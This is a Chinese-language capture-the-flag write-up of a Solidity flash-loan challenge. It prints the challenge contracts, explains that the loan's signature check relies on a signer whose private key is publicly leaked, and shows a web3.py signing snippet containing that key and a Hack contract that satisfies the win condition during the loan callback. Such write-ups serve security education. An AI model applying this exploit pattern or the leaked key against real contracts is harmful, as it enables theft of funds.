37.FlashLoanMain
2023-06-23 20:22:31 # 00.security

FlashLoanMain

题目

要求:FlashLoanMain的isComplete设置为true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
pragma solidity ^0.8.0;

interface ICert {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}//IERC20

interface IVault {
function join(uint256 amount) external;
function exit() external;
function cert() external view returns(ICert);
function transferToAccount(address account, uint256 amount) external returns(bool);
function setPriveder(address flashLoanPriveder_) external;
}

interface IFlashBorrower {
function onFlashLoan(
address initiator,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}

interface IFlashLoanMain {
function airdrop()external;
function Complete()external returns(bool);
}

interface IFlashLoanPriveder {
function flashLoan(
IFlashBorrower receiver,
address token,
uint256 amount,
bytes memory signature,
bytes calldata data
) external returns (bool);
}

library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

function toString(uint256 value) internal pure returns (string memory) {

if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}

function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}

function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}

library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}

function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}

function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}

function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}

function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}

function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}

address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}

return (signer, RecoverError.NoError);
}

function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}

function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}

function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s));
}

function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}

contract FlashLoanPriveder {
IVault vault;

bytes32 public msgHash = 0x1a6092262d7dc33c2f4b9913ad9318a8c41a138bb42dfacd4c7b6b46b8656522;
bytes32 public r = 0xb158f1759111cd99128505f450f608c97178e2b6b9b6f7c3b0d2949e3a21cd02;
bytes32 public s = 0x3ade8887fce9b513d41eb36180d6f7d9e072c756991034de2c9a5da541fb8184;
uint8 public v = 0x1b;

address public flashLoanMain;

constructor (address vault_) {
flashLoanMain = msg.sender;
vault = IVault(vault_);
}

function flashLoan(
IFlashBorrower receiver,
address token,
uint256 amount,
bytes memory signature,
bytes calldata data
) external returns (bool){
bytes32 message = keccak256(abi.encodePacked(address(this), amount, receiver, token));
require(ECDSAUpgradeable.recover(msgHash,v,r,s) == ECDSAUpgradeable.recover(message, signature),"Error signer!");
require(
amount <= vault.cert().balanceOf(address(vault)),
"AMOUNT_BIGGER_THAN_BALANCE"
);//常规 : 借钱数量小于等于金库余额
//转钱
require(vault.transferToAccount(address(receiver), amount), "FLASH_LENDER_TRANSFER_FAILED");
require(
//我们的合约receiver需要自己实现这个方法
//对我们借来的钱进行一系列操作
receiver.onFlashLoan(msg.sender, token, amount, data) == true,
"FLASH_LENDER_CALLBACK_FAILED"
);
require(
//最后还钱,因为是transferFrom,因此在onFlashLoan的时候需要进行approve
ICert(vault.cert()).transferFrom(
address(receiver),
address(vault),
amount
),
"FLASH_LENDER_REPAY_FAILED"
);
return true;
}

function getMsgHash(IFlashBorrower receiver,address token,uint256 amount) public view returns(bytes32){
bytes32 message = keccak256(abi.encodePacked(address(this), amount, receiver, token));
return message;
}

}

contract Cert {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public flashLoanMain;

uint256 private _totalSupply;
constructor()public {
flashLoanMain = msg.sender;
}


function totalSupply() public view returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}

function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
_spendAllowance(from, msg.sender, amount);
_transfer(from, to, amount);
return true;
}

function mint(address to, uint256 amount) public {
require(msg.sender==flashLoanMain,"Forbidden!");
_mint(to, amount);
}

function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}

function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}

function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}//ERC20接口


contract Vault {
mapping(address => uint256) public balanceOf;
ICert public cert;
address flashLoanPriveder;
uint256 public totalSupply;
address public flashLoanMain;
uint256 internal constant RATIO_MULTIPLY_FACTOR = 10**6;

constructor (address cert_,uint amount) {
flashLoanMain = msg.sender;
cert = ICert(cert_);
totalSupply += amount;
uint256 receivedETokens = amount *RATIO_MULTIPLY_FACTOR / getRatio();
balanceOf[msg.sender] = receivedETokens;
}

function setPriveder(address flashLoanPriveder_)public {
require(msg.sender==flashLoanMain,"setPriveder Forbidden!");
flashLoanPriveder = flashLoanPriveder_;
}

function join(uint256 amount) external{
require(amount > 0, "CANNOT_STAKE_ZERO_TOKENS");
uint256 receivedETokens = amount *RATIO_MULTIPLY_FACTOR / getRatio();
totalSupply += receivedETokens;
balanceOf[msg.sender] += receivedETokens;
require(cert.transferFrom(msg.sender, address(this), amount),"TRANSFER_STAKED_FAIL");
}

function exit() external {
uint256 amount = balanceOf[msg.sender];
uint256 stakedTokensToTransfer = amount * getRatio() / RATIO_MULTIPLY_FACTOR;
totalSupply -= amount;
balanceOf[msg.sender] = 0;
require(cert.transfer(msg.sender, stakedTokensToTransfer), 'TRANSFER_STAKED_FAIL');
}

function getRatio() public view returns(uint256){
if (totalSupply> 0 && cert.balanceOf(address(this)) > 0) {
return cert.balanceOf(address(this)) *RATIO_MULTIPLY_FACTOR / totalSupply;
}
return 1;
}

function transferToAccount(address account, uint256 amount) external returns(bool){
require(msg.sender==flashLoanPriveder,"transferToAccount Forbidden!");
return cert.transfer(account, amount);
}
}

contract FlashLoanMain {
Vault public vault;
Cert public cert;
FlashLoanPriveder public flashLoanPriveder;

bool public isAirdrop;
bool public isComplete;

event sendflag(address user);

constructor() {
cert = new Cert();//ERC20 token
vault = new Vault(address(cert),1000*10**18);//金库
cert.mint(address(vault),1000*10**18);
flashLoanPriveder = new FlashLoanPriveder(address(vault));
vault.setPriveder(address(flashLoanPriveder));
}

function airdrop() public {
require(!isAirdrop,"Already get airdrop!");
cert.mint(msg.sender,100*10**18);
isAirdrop = true;
}

function Complete()public returns(bool) {
if (cert.balanceOf(msg.sender) > 100*10**18){
isComplete = true;
emit sendflag(msg.sender);
}
return isComplete;
}//完成要求:攻击账户的cert代币数量超过10^20
//因此,我们可以利用闪电贷来完成
}

分析

题目很长,我们先梳理一下题目大概讲了些什么:

  • Cert是底层代币,类似ERC20
  • Vault是闪贷储存代币的金库,闪贷转账代币都是在这个合约转入转出
  • FlashLoanPriveder是提供了闪贷函数
  • FlashLoanMain是最外层暴露合约

1.主题目

1
2
3
4
5
6
7
constructor() {
cert = new Cert();//ERC20 token
vault = new Vault(address(cert),1000*10**18);//金库
cert.mint(address(vault),1000*10**18);
flashLoanPriveder = new FlashLoanPriveder(address(vault));
vault.setPriveder(address(flashLoanPriveder));
}

意思是我们有一个ERC20代币cert,并且有一个金库vault用来存储cert这种ERCC20代币,并且这个金库拥有100010*18个代币

1
2
3
4
5
6
7
8
9
10
11
12
13
function airdrop() public {
require(!isAirdrop,"Already get airdrop!");
cert.mint(msg.sender,100*10**18);
isAirdrop = true;
}

function Complete()public returns(bool) {
if (cert.balanceOf(msg.sender) > 100*10**18){
isComplete = true;
emit sendflag(msg.sender);
}
return isComplete;
}

我们完成题目,需要拥有超过100*10**18个代币,在airdrop()获取100*10**18个代币之后,我们再想办法获取至少1代币即可完成本道题。因此本题的的关键在于:如何获取更多的代币?

整体上看不难发现,这是一个有关闪电贷的题目,那么,我们就可以进行闪电贷获取一定金额,然后调用Complete(),就完成本题了

2.闪电贷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function flashLoan(
IFlashBorrower receiver,
address token,
uint256 amount,
bytes memory signature,
bytes calldata data
) external returns (bool){
bytes32 message = keccak256(abi.encodePacked(address(this), amount, receiver, token));
//非常规:
require(ECDSAUpgradeable.recover(msgHash,v,r,s) == ECDSAUpgradeable.recover(message, signature),"Error signer!");
require(
amount <= vault.cert().balanceOf(address(vault)),
"AMOUNT_BIGGER_THAN_BALANCE"
);//常规:借钱数量小于等于金库余额
//常规:转钱
require(vault.transferToAccount(address(receiver), amount), "FLASH_LENDER_TRANSFER_FAILED");
require(
//常规:我们的合约receiver需要自己实现这个方法,对我们借来的钱进行一系列操作
receiver.onFlashLoan(msg.sender, token, amount, data) == true,
"FLASH_LENDER_CALLBACK_FAILED"
);
require(
//常规:最后还钱,因为是transferFrom,因此在onFlashLoan的时候需要进行approve
ICert(vault.cert()).transferFrom(
address(receiver),
address(vault),
amount
),
"FLASH_LENDER_REPAY_FAILED"
);
return true;
}

这是闪电贷的主函数:

代码中已经做了注释,5个require中4个是常规的闪电贷要求,其中有一个非常规的:

1
2
3
bytes32 message = keccak256(abi.encodePacked(address(this), amount, receiver, token));
//非常规:
require(ECDSAUpgradeable.recover(msgHash,v,r,s) == ECDSAUpgradeable.recover(message, signature),"Error signer!");

这个也是我们本道题的解题关键

2.1左式

题目给出了信息:

1
2
3
4
bytes32 public msgHash = 0x1a6092262d7dc33c2f4b9913ad9318a8c41a138bb42dfacd4c7b6b46b8656522;
bytes32 public r = 0xb158f1759111cd99128505f450f608c97178e2b6b9b6f7c3b0d2949e3a21cd02;
bytes32 public s = 0x3ade8887fce9b513d41eb36180d6f7d9e072c756991034de2c9a5da541fb8184;
uint8 public v = 0x1b;

将这些信息作为参数输入ECDSAUpgradeable.recover(msgHash,v,r,s),可以得到签名人:0x001d3f1ef827552ae1114027bd3ecf1f086ba0f9。那么右式就需要用这个用户进行签名才可以通过。但是我们肯定是没有这个用户的私钥的,咋办啊???

很巧,这只是一个题目,这个用户的私钥是泄露的,很多教材都用过这个用户,在Google搜索一下(直接复制粘贴地址进行Google)就可以找到这个用户的私钥了,如图是我找到的:

image-20230127202908079

2.2右式

有了这个用户的私钥,那么我们就可以对消息进行签名了:ECDSAUpgradeable.recover(message, signature),意思是我们写一个消息message,然后进行签名成为signature,进行recover之后就返回signer,之后就通过require检查了

message的获取等价于这个合约里面的这个函数:

1
2
3
4
function getMsgHash(IFlashBorrower receiver,address token,uint256 amount) public view returns(bytes32){
bytes32 message = keccak256(abi.encodePacked(address(this), amount, receiver, token));
return message;
}
  • receiver:是我们的借款人的地址(borrow),也就是Hack合约的地址
  • token:ERC20代币地址,也就是cert合约地址
  • amount:我们要借的钱数,只要不超过10010*18即可

得到message之后,我们可以通过两个方法来进行签名:

1.使用web3.py

1
2
3
4
5
6
7
from eth_account import Account

messagehash = "0x2380db06fa4a3e538cef9c8e3ec03cdfc9a975c3cf4cd96ab18b30fe15b63389"
privatekey ="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"
signMessage = Account.signHash(message_hash=messagehash,private_key=privatekey)

print("signature =",signMessage)

2.使用Ethernaut环境

在下面“做题”环节展示

PS:我一开始是使用web3js的,但是web3js签名的结果全是加上了以太坊前缀”\x19Ethereum Signed Message:\n32”。但是题目的环境中,是对签名messageHash进行签名的,而不是以太坊签名,因此web3js无法使用【题目中写的签名和解签是没有前缀的,不是第三方库的,可以去看library ECDSAUpgradeable】

做题

1.部署FlashLoanMain,得到cert、flashLoanProvider、vault的地址

image-20230127200056668

2.将cert、flashLoanProvider、vault获取到

image-20230127200154047

3.获取messageHash

image-20230127200355613

4.进行签名:

4.1第一种签名的方法

image-20230127200804780

4.2第二种签名的方法

image-20230127200646924

5.我们发现require左边得出的signer和右边得出的signer是一致的

image-20230127200908342

6.发起攻击

image-20230127201029497

7.成功

image-20230127201101502

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
contract Hack{
FlashLoanMain public flashLoanMain = FlashLoanMain(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9);
FlashLoanPriveder public flashLoanPriveder = FlashLoanPriveder(0xdBB5D50e759576217088c1f7435A727897396373);
Cert public cert = Cert(0x633dBFB62C1Bd3d5fFf4D7d94E8c2f6f5B479ca1);
Vault public vault = Vault(0xB706b00ef5533D9d8283a3e938FcffafEc0F2866);

function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) public view returns(address){
return ECDSAUpgradeable.recover(hash,v,r,s);
}//用来调试

function recover(bytes32 hash, bytes memory signature) public view returns(address){
return ECDSAUpgradeable.recover(hash,signature);
}//用来调试

function attack(IFlashBorrower receiver,address token,uint256 amount,bytes calldata signature,
bytes calldata data) public{
flashLoanMain.airdrop();
flashLoanPriveder.flashLoan(receiver, token, amount, signature, data);
}

function onFlashLoan(
address initiator,
address token,
uint256 amount,
bytes calldata data
) external returns (bool){
flashLoanMain.Complete();
cert.approve(address(flashLoanPriveder), amount);
return true;
}

}
Prev
2023-06-23 20:22:31 # 00.security
Next